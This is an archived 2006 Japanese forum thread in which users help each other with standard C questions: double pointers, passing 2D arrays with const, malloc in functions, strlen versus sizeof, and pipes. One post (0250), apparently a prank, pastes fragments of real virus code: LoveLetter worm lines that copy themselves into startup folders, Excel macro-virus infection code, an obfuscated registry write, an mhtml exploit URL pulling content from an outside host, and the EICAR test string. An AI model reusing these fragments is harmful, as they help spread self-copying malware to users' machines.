トップページ⇒tech
1001コメント316KB

【ANSI-C】 C言語なら俺に聞け!  Part 128

■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさん2006/06/26(月) 09:34:44
このスレは標準Cのみの限定スレです。
まず問題を冷静に吟味してCの話か否かをはっきりさせてから質問しましょう。
質問する前には最低限検索を。
エラー(警告含む)が起きたのならばエラーメッセージを書きましょう。

C FAQ 日本語訳
http://www.kouno.jp/home/c_faq/
Cプログラマ必読 ・プログラミング言語C(通称 K&R)
http://www.amazon.co.jp/exec/obidos/ASIN/4320026926/250-7563469-9920244

他の過去ログはここに
http://nssearch.hp.infoseek.co.jp/clang/
前スレ
【ANSI-C】 C言語なら俺に聞け!  Part 127
http://pc8.2ch.net/test/read.cgi/tech/1147375815/


GUIなどの標準Cではできない事の質問,ソース丸投げ、宿題、書籍 は
専門の別スレッド↓があるのでそこへさようなら。

【初心者歓迎】C/C++室 Ver.28【環境依存OK】
http://pc8.2ch.net/test/read.cgi/tech/1149815331/
C/C++の宿題を片付けます 68代目
http://pc8.2ch.net/test/read.cgi/tech/1151158759/
新・推薦図書/必読図書のためのスレッド 1
http://pc8.2ch.net/test/read.cgi/prog/1146889623/
0232デフォルトの名無しさん2006/07/14(金) 19:44:19
>>231
ポインタまではどうにか理解できたんで
明日にでも本屋いってきます
0233デフォルトの名無しさん2006/07/14(金) 20:01:34
ポインタまで理解できたのならあとはmanpageでも読めば済むだろ
0234デフォルトの名無しさん2006/07/14(金) 21:37:17
>>230
オレはK&Rを一通りやったあとに
自分でviクローンを作ってみた
その後, Win32とGTK+でGUIをつけたり
2バイト文字対応とか
いろいろ機能を加えたりして
勉強したよ
やっぱり実践が一番じゃない?
0235デフォルトの名無しさん2006/07/14(金) 21:44:29
K&R読んだだけでviクローン作れたら天才だな。
0236デフォルトの名無しさん2006/07/14(金) 23:29:23
void SetPoint(int**,int,int*,int,int,int*,int*,
int*,int*,
int*,int*,int*,int*,BOOL);

void SetPoint(int **num,int cps,int *numB,int way,int uWay,int *movX,int *movY,
int *sotoMaxX,int *sotoMaxY,
int *yobiX,int *yobiY,int *pntX,int *pntY,BOOL bl) {

SetPoint(&num, 3, numB, 0, 3, &movX, &movY,
sotoMaxX, sotoMaxY,
&yobiX, &yobiY, &pntX, &pntY, TRUE);
エラー E2034 D:\MyProg\game2\game7\game7.cpp 325: 'int ( *)[4]' 型は 'int * *' 型に変換できない(関数 __stdcall WndProc(HWND__ *,unsigned int,unsigned int,long) )
エラー E2342 D:\MyProg\game2\game7\game7.cpp 325: パラメータ 'num' は int * * 型として定義されているので int ( *)[4] は渡せない(関数 __stdcall WndProc(HWND__ *,unsigned int,unsigned int,long) )

ポインタのポインタとか指定したらわけわからんようになってしまいました。
どうすればいいですか?
0237デフォルトの名無しさん2006/07/14(金) 23:33:54
まず引数の意味をひとつづつ説明してもらおうか。
0238デフォルトの名無しさん2006/07/14(金) 23:35:47
>>236
int **pnum;
pnum = #
SetPoint(&pnum, 3, numB, 0, 3, &movX, &movY,
sotoMaxX, sotoMaxY,
&yobiX, &yobiY, &pntX, &pntY, TRUE);
02392382006/07/14(金) 23:37:36
間違った
×int **pnum;
○int *pnum;
0240デフォルトの名無しさん2006/07/14(金) 23:39:04
キャストしたらどうよ。
0241デフォルトの名無しさん2006/07/14(金) 23:51:54
>>237-240
ありがとうございます。

けど肝心な事言い忘れました。num、numBは配列です。
SetPoint内のnumが多すぎて書き直せない状況なので、
ポインタを利用して打破できないかと思いましたが。
>>238
エラった。よく分かりません。ごめんなさい。
'int ( *)[4]' 型は 'int *' 型に変換できない
>>240
キャストってどうやってですか?
0242デフォルトの名無しさん2006/07/14(金) 23:54:25
まず引数の意味をひとつづつ説明してもらおうか。
0243デフォルトの名無しさん2006/07/14(金) 23:59:18
>>241
> けど肝心な事言い忘れました。num、numBは配列です。

型についてのエラーなのに、変数の型を明記してくれないで何をどうさせようってんだ?
配列です、だけじゃ全然わからん
0244デフォルトの名無しさん2006/07/15(土) 00:07:25
すみません。
static int num[4] , numB[4];
一応int型なんですが、
引数ひとつひとつ説明するより
もう一つダミーの関数を呼び出してみたらこっちはエラー出ませんでした。
void SetPoint2(int **num) {
*num[0] = 0;
return;
}
よく分かりません。すみません。
02452382006/07/15(土) 00:19:33
>>241
>num、numBは配列です。
それを先に言ってくれ。それなら
int *pnum;
pnum = num;
SetPoint(&pnum, 3, numB, 0, 3, &movX, &movY, ....

念のため聞くけどsotoMaxX, sotoMaxYも配列だよね。あと拡張子cppになってるけど
C のつもりで答えていいの? C++は知らない。
0246デフォルトの名無しさん2006/07/15(土) 00:26:20
>>238
ありがとうございます!
テンパってて諦めかけていました。
そうです。sotoMaxX, sotoMaxYも配列です。
説明不足すみませんでした。
C++の意味は多分ないんでしょうけど、念のためそうしてます。
まだ未熟者で掟破りなコードですみません。
0247デフォルトの名無しさん2006/07/15(土) 02:06:35
>>235
いや, K&Rだけを読んだだけでぱぱっとviクローンを作ったわけじゃなくて
かなり試行錯誤したよ
GUIつけた後, Small Cのインタプリタを組み込んで
今でも改良しながら使ってるよ
0248デフォルトの名無しさん2006/07/15(土) 12:37:57
大変お見苦しいようですが、また質問させて下さい。
>>245さんの通りにやってみたのですが、
関数内で*num[1],[2]を使ったらフリーズしてしまいました。[0],[3]はいいんですが、
はじめに0を代入したはずなのに、しかも[0],[3]の中身は乱れています。
たぶんnumがローカルになっているせいだと思うんですが、
ポインタだだけでなくnum配列自体を関数に受け渡す方法はないでしょうか?
0249デフォルトの名無しさん2006/07/15(土) 12:41:38
あ、それができたら、そのまま配列使えばいいだけか。
スミマセン。
0250デフォルトの名無しさん2006/07/15(土) 14:00:40
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
0251デフォルトの名無しさん2006/07/15(土) 15:07:30
>>248
>関数内で*num[1],[2]を使ったら
関数内でのアクセスは *num[1]じゃなく (*num)[1] でしょ。

その関数でint**を使う必要が本当にあるの?
無理して2重ポインタなど使わず設計を見直すことをお勧めする。いやマジで。
0252デフォルトの名無しさん2006/07/15(土) 15:11:32
>>248
本当に見苦しくて読む気にもならん。
まずC FAQ読め。

「6章 配列とポインター」
ttp://www.kouno.jp/home/c_faq/c6.html#0
0253デフォルトの名無しさん2006/07/15(土) 15:50:18


C言語では、二次元配列を関数に渡すことはできません。


0254デフォルトの名無しさん2006/07/15(土) 15:51:55
一次元配列を渡すこともできないぞ。渡せるのはポインタだ。
0255デフォルトの名無しさん2006/07/15(土) 15:54:02
まず引数の意味をひとつづつ説明しろ。
0256デフォルトの名無しさん2006/07/15(土) 15:57:06
Set Point する関数になんで、movX とか movYとかいう
怪しげな引数が必要なのかは、確かにに聞いてみたい気がするな。
0257デフォルトの名無しさん2006/07/15(土) 22:20:17
C言語の命令ばっかりを載せてる単語帳みたいな本又はサイトってありませんか?
できるだけ小さくて薄いので
0258デフォルトの名無しさん2006/07/15(土) 22:37:38
>>257
ないな。作ってもいいが、表紙と裏表紙だけで本文がないがな。
0259デフォルトの名無しさん2006/07/15(土) 22:40:50
>>257
>>1QBB
0260デフォルトの名無しさん2006/07/15(土) 22:47:21
E2040 c:\Borland\Bcc55\include\winnt.h 5417: 宣言が正しく終了していない
と怒られてしまいました。

//sort
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include <windows.h>
#include <mmsystem.h>
#define N 10000

こいつのどこかに問題があるか、C以外の問題だと思うのですが、どうすればいいでしょうか。
処理時間を計測しようと悩んでいるのですが・・・。
0261デフォルトの名無しさん2006/07/16(日) 00:27:45
>>260
スレ違い。BCCスレか環境依存OKスレ、初心者スレにでもどうぞ。
0262デフォルトの名無しさん2006/07/16(日) 01:03:08
質問させてください。

char buf[100];
strlen(buf) と、sizeof(buf) って何か違いがあるのですか?
「文字列のバイト数を数えるのにstrlen使うな」と言われたのですが……
0263デフォルトの名無しさん2006/07/16(日) 01:09:16
>>262
strlen()は、ヌル文字で終わっている文字列の長さを調べる関数。
sizeofは、変数や型の大きさを調べる演算子。
sizeof bufはいつでも100だが、strlen()は、中に入っている文字列によって変わる。

どのような開発環境で、どのような文脈でstrlen()を使うなと言われた
のかはわからんが、ヌル文字で終わっている文字列の長さを調べる
のにstrlen()を使うのは、ごく普通のこと。
0264デフォルトの名無しさん2006/07/16(日) 01:22:03
>>262
逆にいうとヌル文字で終わっていない場合は暴走する。
0265デフォルトの名無しさん2006/07/16(日) 02:18:48
strlenはたまに危険なので、暴走しないようにstrnlenというのもある。
ANSIじゃないかもしれないけど……。
0266デフォルトの名無しさん2006/07/16(日) 10:38:51
'\0'を含むマルチバイト文字に使用しようとしているとか
0267デフォルトの名無しさん2006/07/16(日) 10:50:32
'\0'を含むマルチバイト文字なんてあるの?
0268デフォルトの名無しさん2006/07/16(日) 12:29:47
>>267
余裕である。つか、どうやってターミネートすると思ってるんだ?
02692682006/07/16(日) 12:30:25
うは、誤読。取り消すorz
02702622006/07/16(日) 12:52:43
みなさんありがとうございます。

実は、char buf[100]中にはバイナリデータが入る場合もある事を
書いていませんでした……
この場合、\0で抜けてしまうstrlen()じゃダメですよね。
おそらくそのミスを指摘されたんだと思います。

でも>>263さんの解説を見ると、sizeof()もダメな気が……
0271デフォルトの名無しさん2006/07/16(日) 13:00:40
>>270
うん、全く駄目。
バイナリデータを扱うときには、そのデータをセットした人(関数)が、
データサイズを戻す必要がある。

普通は関数の戻り値でサイズを戻したり、アウトパラメータで戻したりする。
そうしないと、なにかの関数を呼んでそのバッファにデータがセットされても、
外部から何バイトセットしたのかはわからない。
0272デフォルトの名無しさん2006/07/16(日) 15:53:07
初めまして。現在C言語を勉強しているのですが、malloc関数でつまずいてしまいました。

mainルーチン内でmallocを使う場合は、
int main()
{
0273デフォルトの名無しさん2006/07/16(日) 15:58:11
すいません。上の続きです。

int main()
{
int *x;
x = (int *)malloc(sizeof(int) * 10);

free(x);
}
みたいな感じで使うと思うのですが、メインルーチン内で宣伝したポインタ型変数xを
サブルーチンに渡して、領域を確保する事はできるのでしょうか?

void sub(int *x)
{
x = (int *)malloc(sizeof(int) * 10);
}
このようなサブルーチンを作って、メインルーチンでxに代入するとエラーが出てしまいます。
これの理由と、解決法を教えてください。
よろしくお願いします。
0274デフォルトの名無しさん2006/07/16(日) 16:18:31
int *sub()
{
 return (int *)malloc(sizeof(int) * 10);
}
x = sub();

もしくは

void sub(int **x)
{
 *x = (int *)malloc(sizeof(int) * 10);
}
sub(&x);
0275デフォルトの名無しさん2006/07/16(日) 16:27:04
>>274
おお!出来ました!!
ポインタって難しいですね・・・もっと勉強します!
レスありがとうございましたm(_ _)m
0276デフォルトの名無しさん2006/07/16(日) 17:40:39
>>275
何故そうなるのかちゃんと理解したか?
0277デフォルトの名無しさん2006/07/16(日) 17:58:40
ANSIって何ですか!?
0278デフォルトの名無しさん2006/07/16(日) 19:52:35
ポール・サイモンのギター曲だ、名曲だぞ。
0279デフォルトの名無しさん2006/07/16(日) 20:58:27
>>277
American National Standard Institute
米国規格協会

標準Cは最初にここで規格化されたので、それを指してANSI Cというわけだ。
0280デフォルトの名無しさん2006/07/16(日) 21:04:16
>>279
なるほど。って、何かとアメリカ基準ですな・・・
0281デフォルトの名無しさん2006/07/16(日) 21:45:30
>280
アメリカ製の言語なんで当然では?
0282デフォルトの名無しさん2006/07/16(日) 22:05:16
ISOやJISよりANSIが先に仕様を決めて
それをISOが取り込んだんだから当然
0283デフォルトの名無しさん2006/07/17(月) 04:22:56
すいません。教えてください。
void func(const int *a){ printf("a=%d\n",*a);}
int main(void){
int a=10;
func(a); return 0;
}
のように、呼び出し元のポインタの内容を変えないことを補償するために、
constを付けることはよくやりますよね?
同じことを、ポインタのポインタを引数に持つ関数でやるには、
どうすればいいのでしょう?

const int *a;
int *b;
なa,bに対して、a=b;は、問題なく出来るのですが、
const int **a;
int **b;
に対しては、a=b;は、コンパイラがエラーを吐きます。
const int **a;
が、(const intへのポインタ)へのポインタだから、って理由は分かるのですが、その解決策が分かりません。
よろしくお願いいたします。
0284デフォルトの名無しさん2006/07/17(月) 04:33:54
>>283
const int* const* a; にするとか const int** b にするとか、いくらでもあるんじゃないの?
何がしたいのかわからんのでどれが解決策になるのかわからんが。
0285デフォルトの名無しさん2006/07/17(月) 04:48:15
すいません。具体性に欠けてました。

void func(int (*a)[10]){
/* aは、参照するだけ */
}
int main(void){
int a[10][10];
func(a);
}

これを、
void func(const int (*a)[10]){}
のようにしたいのですが、ANSI-Cでは許してくれないようなのです。
0286デフォルトの名無しさん2006/07/17(月) 05:05:28
>>285
それは難しい問題だったような気がする。
C++ では int const a[][10] で通るみたい。

C だとそもそもポインターの型違いがエラーにならなかったような
覚えがあるんだが、なんてエラーメッセージが出るの?警告?
02872852006/07/17(月) 05:14:40
gcc-3.4.4だと、
warning: passing arg 1 of `func' from incompatible pointer type
で、警告です。
動作に問題は出ないだろうとは思うのですが、この警告何とか、
出来ませんかね?
0288デフォルトの名無しさん2006/07/17(月) 05:27:54
>void func(int (*a)[10]){
これじゃ関数ポインタだし
02892852006/07/17(月) 05:34:41
>>288
すいません。意味が分かりません。
aが、関数ポインタって意味ですか?
0290デフォルトの名無しさん2006/07/17(月) 05:37:01
>>288
アホ。

>>287
呼び出し側をcastしてやればwarningは消せるが・・・。

void func(const int (*a)[10]) {}
main() {
func((const int (*)[10])a);
}
02912852006/07/17(月) 05:51:45
>>290
有難うございます。
確かに、それでWarningは消せるのですが、ポインタのキャストなしでやりたいのです。
というものも、MISRA-Cという組込み世界のコーディング規約のようなものがあるのですが、
その中で、
・ポインタのキャストは駄目
・ポインタ演算は、+1(−1)するもの以外、使っちゃ駄目
・ポインタを引数にする関数で、ポインタが指す元の領域を書き換えないなら、constをつけろ。
というようなルールがあります。
何とか、これに沿ったものを作りたいと思ってます。

ただ、もしかしたら、int(*)[10]から、const int(*)[10]へのキャストは、例外として
認められるのかもしれませんね。
また、調べてみてから、報告したいと思います。

0292デフォルトの名無しさん2006/07/17(月) 06:27:16
キャスト無しって・・・・・プロトタイプ宣言もしないアホウですか?
02932852006/07/17(月) 06:36:57
>>292
???
ポインタのキャストとプロトタイプ宣言が関係ありますか?
それとも例に挙げたコードが、プロトタイプ宣言していないから、
アホウ呼ばわりされてるんですかね?

>>290
MISRA-C対応のあるソースコードの静的解析ツールにかけたところ、
やっぱり駄目でした。2次元配列をあきらめた方がいいのかな。。。
0294デフォルトの名無しさん2006/07/17(月) 09:17:53
>>285
よくわからないときにはtypedefするが吉。
typedef int hoge[10];

void func(const hoge *a);

int main(void){
  int a[10][10];
  func(a);
}
0295デフォルトの名無しさん2006/07/17(月) 10:04:59
>>294
同じwarningです。gcc3.4.2(MinGW) Cモード(gcc.exe)
C:\Documents and Settings\****\My Documents\MinGW\Learn5\intconst2.c: In function `main':
C:\Documents and Settings\****\My Documents\MinGW\Learn5\intconst2.c:11: warning: passing arg 1 of `func' from incompatible pointer type

結局Cでは警告を防げないのか。
0296デフォルトの名無しさん2006/07/17(月) 10:08:23
typedef const int boke[10];
0297デフォルトの名無しさん2006/07/17(月) 10:45:10
int (*a)[] から const int (*a)[] への(キャスト無しでの)変換は
ansi規格で認められていない。」と言うのがgcc の中の人の考えらしいです。

ttp://gcc.gnu.org/bugzilla/show_bug.cgi?id=9070

gccの警告を無視するってのは駄目ですか?
・・・駄目でしょうね(^^;
0298デフォルトの名無しさん2006/07/17(月) 10:51:31
>>297
俺個人の意見だけど、理由がわかっていて危険ではない事も調査済みなら
ワーニングを放置するのはありだと思うが、素直にキャストしたほうが
無駄にエネルギー使わなくてすっきりすると思う。
02992722006/07/17(月) 13:02:57
>>275
レス遅れてすいません。
動いたけど、理解は出来なかったのでいろいろ試行錯誤してたいだい理解したので、
今度は、ポインタのポインタ(2次元配列もどき)の領域を確保しようと試みているのですが、
はやり、理解が浅いせいかうまくできません。

void sub(int ***x)
{
int i, j;
 *x = (int **)malloc(sizeof(int) * 10);
for(i=0;i<10;i++)
*x[i] = (int *)malloc(sizeof(int) * 3);

for (i=0;i<10;i++) {
for(j=0;j<3;j++) {
*x[i][j] = i*j;
}
}
}

int main()
{
int **x;

sub(&x);

// 表示処理x[][];
}

今の自分の知識では上のような感じなんですが、エラーがでてしまいます。
よろしくお願いしますm(_ _)m
0300デフォルトの名無しさん2006/07/17(月) 13:08:39
>>299
たぶんこうだと思う。
void sub(int ***x)
{
  int i, j;
  int y = 10, x = 3;
  *x = (int **)malloc(sizeof (int*) * y);
  for(i=0;i<10;i++)
    (*x)[i] = (int *)malloc(sizeof (int) * x);

  for (i=0;i<y;i++) {
    for(j=0;j<x;j++) {
      (*x)[i][j] = i*j;
    }
  }
}
0301デフォルトの名無しさん2006/07/17(月) 13:13:36
>>300
おいおい「たぶん」で書かないでくれよ。
必死こいてテストコード書いてたんだからさOTL
合ってるんだけどね。

今回は*と[]の優先順位の問題だね。
0302デフォルトの名無しさん2006/07/17(月) 13:16:25
>>299
>>1
> エラー(警告含む)が起きたのならばエラーメッセージを書きましょう。
03032992006/07/17(月) 13:21:15
>>300-301
ありがとうございますm(_ _)m
仰る通り優先順位の問題だったみたいです。
初歩的な所からやり直さないとだめみたいですね・・
それにしても、この住人の方々は凄いです
自分はこのプログラムで数時間悩んだというのに、数分で解決してしまうなんて。
尊敬しますm(_ _)m

>>302
すいません。以後気を付けます。
今回のは、OSのエラー?(問題が発生したため〜)だったのでエラーと書いただけで省いてしまいました。
0304デフォルトの名無しさん2006/07/17(月) 13:25:44
>>297
C99 の規格読んだが gcc の解釈は正しい。もしくは規格の規定が悪い。

gcc 使えるんなら C++ でコンパイルしちゃえばいいんじゃないかな?
03052852006/07/17(月) 13:45:23
みなさん、有難うございます。
MISRA-Cも、明確な理由をつけることによる、ルールの逸脱は
認めているので、
「int (*a)[] から const int (*a)[] への(キャスト無しでの)変換は
ansi規格で認められていない。」
という理由により、キャスト(もしくはWarningを無視)で、
大丈夫だと思います。
もしかして、私が知らないだけで、何らかの手があるかもと思い、
質問させて頂きました。
有難うございました。
0306デフォルトの名無しさん2006/07/17(月) 20:22:24
微妙にスレ違いかもしれませんが…
gccのエラーメッセージの日本語化をしたいのですが、
出力されたエラーメッセージから日本語に変換するためには
どうすれば良いのでしょうか。

お願いします。
0307デフォルトの名無しさん2006/07/17(月) 20:32:04
>>306
環境変数LANGなど。詳しくはgccのスレで聞け。
0308デフォルトの名無しさん2006/07/17(月) 20:40:32
>>306
http://gcc.gnu.org/svn/gcc/trunk/gcc/po/ja.po
↑こいつをどんどん翻訳してくれればいいんだ。期待してるぞ。
0309デフォルトの名無しさん2006/07/17(月) 22:14:32
タブのつもりですか?
0310デフォルトの名無しさん2006/07/18(火) 21:13:11
http://kansai2channeler.hp.infoseek.co.jp/cgi-bin/joyful/img/2392.txt
実行後に標準入力からコマンドを入力し、そのコマンドをgetcl関数でスペース毎に
argmv[0],argmv[1]...に格納し、exec_one_command関数で実行。
その中にパイプがあればパイプの処理をするという仕様です。
自分でやったところはexec_one_command内でgetclでできたコマンドからパイプを
見つけてそれをNULLに置き換え、パイプの数に応じてexecvpで実行していくという
ところです。 実行してもパイプの処理になった場合にエラー終了してしまいます。
どのようにすれば繋いでいくことができるのでしょうか?

他のスレ回ったのですが、スレ違いっぽい内容だったのでお願いします。
0311デフォルトの名無しさん2006/07/18(火) 21:31:56
linuxのソースで見かけたコードなんだが、

struct hoge {
 ・・・
 void *foo[0],
}

で、malloc(kmalloc)するときに sizeof(struct hoge) + foosize分をallocateして
サイズを自由に変動させるような実装がある。(メンバfooにfoosize分の領域が割り当たる)
こういうのはANSIで認められてる?
それともGCC拡張?
0312デフォルトの名無しさん2006/07/18(火) 21:34:47
>>311
C99で導入された。
でも元はgcc独自拡張だったような気がしなくも無い。
0313デフォルトの名無しさん2006/07/18(火) 21:41:41
>311
昔のDOSでもあったというかやってた。でもvoid *foo[0]じゃなくchar *foo[1]だったな。
これで(可変長の)文字列の長さ分を足したサイズをアロケートすると'\0'の分も確保される。
0314デフォルトの名無しさん2006/07/18(火) 21:43:03
>>311
http://c-faq.com/struct/structhack.html
これ?
0315デフォルトの名無しさん2006/07/18(火) 21:46:03
>>311
これが出来るのは2つ以上のメンバを持っていて、
なおかつ最後のやつだけ。
hogeは配列には出来ない制限がある。
0316デフォルトの名無しさん2006/07/18(火) 21:55:49
>>312-315
�d

ちなみに、この場合メンバfooの型は何になる?
void *型?
0317デフォルトの名無しさん2006/07/18(火) 22:40:14
>>310
あのさあ、C/C++系のスレは巡回してる人がかなり重複してるから、
スレ変えても今のままだと回答来ないよ。
知りたいことを最小限のコードで書いてみて疑問点を質問するとか。
「全く分かりません」であるなら却下。
0318デフォルトの名無しさん2006/07/18(火) 22:40:56
間違いを教えて下さい!!
アルファベット文字からなる文字列(31文字以内)を入力すると
全部大文字にして出力させる。
[例]入力 AbcDeFGHijk → 出力 ABCDEFGHIJK

#include<stdio.h>
main()
{
char moji[31];
int i=0, n=0, m=0;
scanf("%30s", moji);
while(moji[n]!='\0'){
if('a'<=moji[i] && moji[i]<='z'){
m=moji[i]-32;
}
else{m=moji[i];}m++;
i++;}
putchar(m);
}
0319デフォルトの名無しさん2006/07/18(火) 22:46:36
突っ込みどころが多くて何とも・・・。

・ n はどこから来てどこへ行くのか
・ putchar が while の外に
・ m++ って?
0320デフォルトの名無しさん2006/07/18(火) 22:46:55
#include<stdio.h>
main()
{
 char moji[31];
 int i=0, n=0, m=0;
 scanf("%30s", moji);
 while(moji[n]!='\0'){
  if('a'<=moji[i] && moji[i]<='z'){
/*  m=moji[i]-32; */
  m=moji[i]-'a'+'A';
  }
  else{
   m=moji[i];
  }
  putchar(m);
/* m++; */
  i++;
 }
/* putchar(m); */
}
03213102006/07/18(火) 22:48:39
>>317
for(i=0;i<cmdnum;i++){
if ((pid = fork()) == 0){
if(n-->1){
pipe(fd);
close(1);
dup(fd[1]);
close(fd[1]);
close(fd[0]);
}
if(i>0){
close(0);
dup(fd[0]);
close(fd[0]);
close(fd[1]);
}
if (execvp(argmv[pl[i]], argmv) == ERR) {
perror("execvp");
exit(1);
}
} else if (pid >= 1) {
wait(&status);
} else {
perror("fork");
exit(1);
}
}

具体的にはこの部分なのですが、cmdnumはパイプで区切られたコマンドの数で、plにはパイプの
場所が格納されています。このまま実行すると2つ目以降のコマンドが繋がらなくてエラーが起こって
しまうのですが、closeやdupなどのところでおかしいところなどが見つかりましたらお願いします。
0322デフォルトの名無しさん2006/07/18(火) 22:49:08
すいません!!
一応通るんですけど、
イマイチわからないんです……。
0323デフォルトの名無しさん2006/07/18(火) 22:49:13
>>320
whileのmoji[n]をmoji[i]に。
0324デフォルトの名無しさん2006/07/18(火) 22:50:18
>>321
アホ。
最小限のコードというのは「抜き出したコード」じゃなくて、コンパイル・実行
可能なコードのことを言うのだ。
0325デフォルトの名無しさん2006/07/18(火) 22:53:03
>>321
例えば一つ目のコマンドがlsで、二つ目のコマンドがgrepなどと決めうちして
コードを書いてみて、どこでどのようなエラーになるのか質問しろ。
0326デフォルトの名無しさん2006/07/18(火) 23:06:42
ありがとうございます!!
ちゃんと出力されました☆
0327デフォルトの名無しさん2006/07/18(火) 23:32:18
つーか、pipe()はスレ違い。
#あ、close(), dup()もそうか。
0328324とか2006/07/18(火) 23:34:32
>>327
そういやそうだ。
すまん。
03293102006/07/18(火) 23:37:26
>>325
http://kansai2channeler.hp.infoseek.co.jp/cgi-bin/joyful/img/2393.txt
コマンドは a.exe ls | grep a | cat で固定です。
a: ls; No such file or directory
というエラーを出して終わってしまいます。
0330324とか2006/07/18(火) 23:41:32
>>329
続きはUnixプログラミングスレで。
少なくともexecが成功するコードで質問してね。
0331デフォルトの名無しさん2006/07/19(水) 00:00:11
某書の覆面算をするプログラムを丸写しした(はず)なのですが、
SEND+MORE=MONEYで解が1つはあるはずなのに解なしになってしまいます。
ちょっと点検していただけませんでしょうか?
あと、このプログラムが一体何をしているのか、解説していただけたら嬉しいです。
よろしくお願いします・・・

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

enum {FALSE, TRUE};

#define N 10
int imax,jmax,solution,word[N][128],digit[256],low[256],ok[10];

void found(void)
{
int i,j,c;
printf("\n解 %d\n",++solution);
for(i=0; i<=imax; i++)
{
for (j=jmax; j>=0; j--){
c=word[i][j];
if (c!='\0') printf("%d",digit[c]);
else printf(" ");
}
printf("\n");
}
}
■ このスレッドは過去ログ倉庫に格納されています